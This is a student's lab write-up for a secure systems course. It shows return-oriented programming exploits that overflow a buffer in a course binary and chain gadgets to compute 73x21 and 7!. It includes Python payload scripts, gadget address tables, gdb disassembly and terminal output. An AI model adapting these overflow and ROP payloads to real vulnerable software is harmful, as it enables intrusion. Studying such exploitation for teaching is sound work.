Secure Systems Engineering (CS6570)

Assignment-3

NAME: Mohammed Umair Pandit

ROLL NO: CS23M037

Question-1: Making the program compute 73x21

```
sse@sse_vm:~/Desktop/Secure Systems/assignment-3$ python payload.py > payload_Q1
sse@sse_vm:~/Desktop/Secure Systems/assignment-3$ cat payload_Q1 - | ./main >&1
This program ONLY adds 21 to itself
21 + 21 = 42
Anything to say?
1533
Anything to say?

Segmentation fault (core dumped)
```

Screenshot of the working exploit using gadgets

The gadgets used for the exploit (in sequence from bottom to top):

Instruction (Adress of the Instruction)	Use case
mov %eax,-0x10(%ebp)(0x0804988b)	Using the printf that is present in main that prints the value present in eax register(ref below)
No Instruction(0x0810aff4)	ebx old value re entered
pop ebx ; ret(0x0804901e)	Load value above in register ebx
add eax, ecx ; ret(0x08075044)	add eax and ecx and store in eax result
No Instruction(0xfffffff6)	-10 value in hexadecimal to correct imul +10 offset
Pop ecx ; ret(0x080915f3)	Load value above in register ecx
imul eax, ebx ; add eax, 0xa ; ret(0x08049765)	Multiply and store 73x21 in eax and the gadget is adding +10
No Instruction(0x00000015)	The Value of 21 in Hexadecimal
Pop ebx ; ret(0x0804901e)	Load value above in register ebx
No Instruction(0x00000049)	The Value of 73 in Hexadecimal
Pop eax ; ret (0x080cf49a)	Load value Above in register eax

Script for Payload:

```
#73*21
#pop , val , pop , val , imul , pop ,store -10 , add , restore ebx, mov printf
eax_pop="\x9a"+"\xf4"+"\x0c"+"\x08"
ebx_pop="\x1e"+"\x90"+"\x04"+"\x08"
GA_mul="\x65"+"\x97"+"\x04"+"\x08"
ecx_pop="\xf3"+"\x15"+"\x09"+"\x08"
norm_add="\x44"+"\x50"+"\x07"+"\x08"
gadget_mov="\x8b"+"\x98"+"\x04"+"\x08"
hex73="\x49"+"\x00"+"\x00"+"\x00"
hex21="\x15"+"\x00"+"\x00"+"\x00"
hexN10="\xf6"+"\xff"+"\xff"+"\xff"

payload1 = "A"*36 + "\x68\xce\xff\xff"
payload1 += "\x9a\xf4\x0c\x08" + "\x49\x00\x00\x00" + "\x1e\x90\x04\x08" + "\x15\x00\x00\x00" +"\xf3\x15\x09\x08" + "\xa0\x00\x00\x00" + "\x65\x97\x04\x08" + "\xf3\x15\x09\x08"+"\xf6\xff\xff\xff"+ "\x44\x50\x07\x08" + "\x1e\x90\x04\x08" + "\xf4\xaf\x10\x08" +"\x8b\x98\x04\x08"
print(payload1)
```

The Above payload Script explains each and every address used, which are all referenced from gadgets retrieved from the main binary file main. The first padding of 36*"A" is done to reach the return address and then return address of the main is fed after which once the return address is reached we replace it with the address of the gadgets from there onwards.

And the printf function from the main function used to print the value of eax register is used from disassembling main as follow:

```
(gdb) disas main
Dump of assembler code for function main:
   0x08049845 <+0>:     push   %ebp
   0x08049846 <+1>:     mov    %esp,%ebp
   0x08049848 <+3>:     push   %ebx
   0x08049849 <+4>:     sub    $0x20,%esp
   0x0804984c <+7>:     call   0x8049640 <__x86.get_p
   0x08049851 <+12>:    add    $0xc17a3,%ebx
   0x08049857 <+18>:    movl   $0x15,-0x8(%ebp)
   0x0804985e <+25>:    movl   $0x15,-0xc(%ebp)
   0x08049865 <+32>:    lea    -0x37fec(%ebx),%eax
   0x0804986b <+38>:    push   %eax
   0x0804986c <+39>:    call   0x805f4b0 <puts>
   0x08049871 <+44>:    add    $0x4,%esp
   0x08049874 <+47>:    lea    -0x37fc8(%ebx),%eax
   0x0804987a <+53>:    push   %eax
   0x0804987b <+54>:    call   0x8052230 <printf>
   0x08049880 <+59>:    add    $0x4,%esp
   0x08049883 <+62>:    mov    -0x8(%ebp),%edx
   0x08049886 <+65>:    mov    -0xc(%ebp),%eax
   0x08049889 <+68>:    add    %edx,%eax
   0x0804988b <+70>:    mov    %eax,-0x10(%ebp)
   0x0804988e <+73>:    pushl  -0x10(%ebp)
   0x08049891 <+76>:    lea    -0x37fbd(%ebx),%eax
   0x08049897 <+82>:    push   %eax
   0x08049898 <+83>:    call   0x8052230 <printf>
```

Question 2: Making the Program compute 7! (factorial of 7)

```
sse@sse_vm:~/Desktop/Secure Systems/assignment-3$ python payload2.py > payload_Q2
sse@sse_vm:~/Desktop/Secure Systems/assignment-3$ cat payload_Q2 - | ./main >&1
This program ONLY adds 21 to itself
21 + 21 = 42
Anything to say?
5040
Anything to say?

Segmentation fault (core dumped)
sse@sse_vm:~/Desktop/Secure Systems/assignment-3$ gedit payload2.py
```

Screenshot of the working exploit of 7! using gadgets

Instruction (Address)	**Use Case**
mov %eax,-0x10(%ebp)(0x0804988b)	Using the printf that is present in main that prints the value present in eax register(ref below)
No Instruction(0x0810aff4)	restoring the value of ebx
pop ebx ; ret(0x0804901e)	load above value into ebx
… similarly we have to do it for value 4 ,3 ,2	We carry out the below procedure same as it as but instead of loading 5 , we load 4 , 3 and 2 subsequently to carry out the operation ultimately storing the value of 7! In eax
add eax, ecx ; ret(0x08075044)	add eax and ecx and store in eax result
No Instruction(0xfffffff6)	-10 value in hexadecimal format into ecx
pop ecx ; ret(0x080915f3)	Load value above in into ecx
imul eax, ebx ; add eax, 0xa ; ret(0x08049765)	Multiply and store result in eax
No Instruction(0x00000005)	5 in hexadecimal format into ebx
pop ebx ; ret (0x0804901e)	Load value above into ebx
add eax, ecx ; ret(0x08075044)	add eax and ecx and store in eax the result
No Instruction(0xfffffff6)	-10 in hexadecimal format to correct offset
pop ecx ; ret(0x080915f3)	load above value into ecx register
imul eax, ebx ; add eax, 0xa ; ret(0x08049765)	multiply and store result in eax
No Instruction(0x00000006)	6 in hexadecimal into ebx
pop ebx ; ret(0x0804901e)	Load above value into ebx
No Instruction(0x00000007)	7 in hexadecimal format into eax
pop eax ; ret(0x080cf49a)	Load value above in to register eax

Script for Payload:

```python
#7!
eax_pop="\x9a"+"\xf4"+"\x0c"+"\x08"
ebx_pop="\x1e"+"\x90"+"\x04"+"\x08"
GA_mul="\x65"+"\x97"+"\x04"+"\x08"
ecx_pop="\xf3"+"\x15"+"\x09"+"\x08"
norm_add="\x44"+"\x50"+"\x07"+"\x08"
gadget_mov="\x8b"+"\x98"+"\x04"+"\x08"
hexN10="\xf6"+"\xff"+"\xff"+"\xff"

payload2 = "A"*36 + "\x68\xce\xff\xff"
payload2+="\x9a\xf4\x0c\x08" + "\x07\x00\x00\x00" + "\x1e\x90\x04\x08" + "\x06\x00\x00\x00" +"\x65\x97\x04\x08" + "\xf3\x15\x09\x08"+ "\xf6\xff\xff\xff"+ "\x44\x50\x07\x08" +"\x1e\x90\x04\x08" + "\x05\x00\x00\x00" + "\x65\x97\x04\x08" + "\xf3\x15\x09\x08"+"\xf6\xff\xff\xff"+ "\x44\x50\x07\x08" + "\x1e\x90\x04\x08" + "\x04\x00\x00\x00" +"\x65\x97\x04\x08" + "\xf3\x15\x09\x08"+ "\xf6\xff\xff\xff"+ "\x44\x50\x07\x08" +"\x1e\x90\x04\x08" + "\x03\x00\x00\x00" + "\x65\x97\x04\x08" + "\xf3\x15\x09\x08"+"\xf6\xff\xff\xff"+ "\x44\x50\x07\x08" + "\x1e\x90\x04\x08" + "\x02\x00\x00\x00" +"\x65\x97\x04\x08" + "\xf3\x15\x09\x08"+ "\xf6\xff\xff\xff"+ "\x44\x50\x07\x08" +"\x1e\x90\x04\x08" + "\xf4\xaf\x10\x08" + "\x8b\x98\x04\x08"
print(payload2)
```

The Above screenshot explains the payload scripted by the python file, where the defined commands above are reused to compute the factorial , where absolute hexadecimal values are loaded into register as factorial is computed along the way. The padding and return address of the main is padded as usual to start inserting gadgets from there on as done before and the exploit prints the factorial of number 7.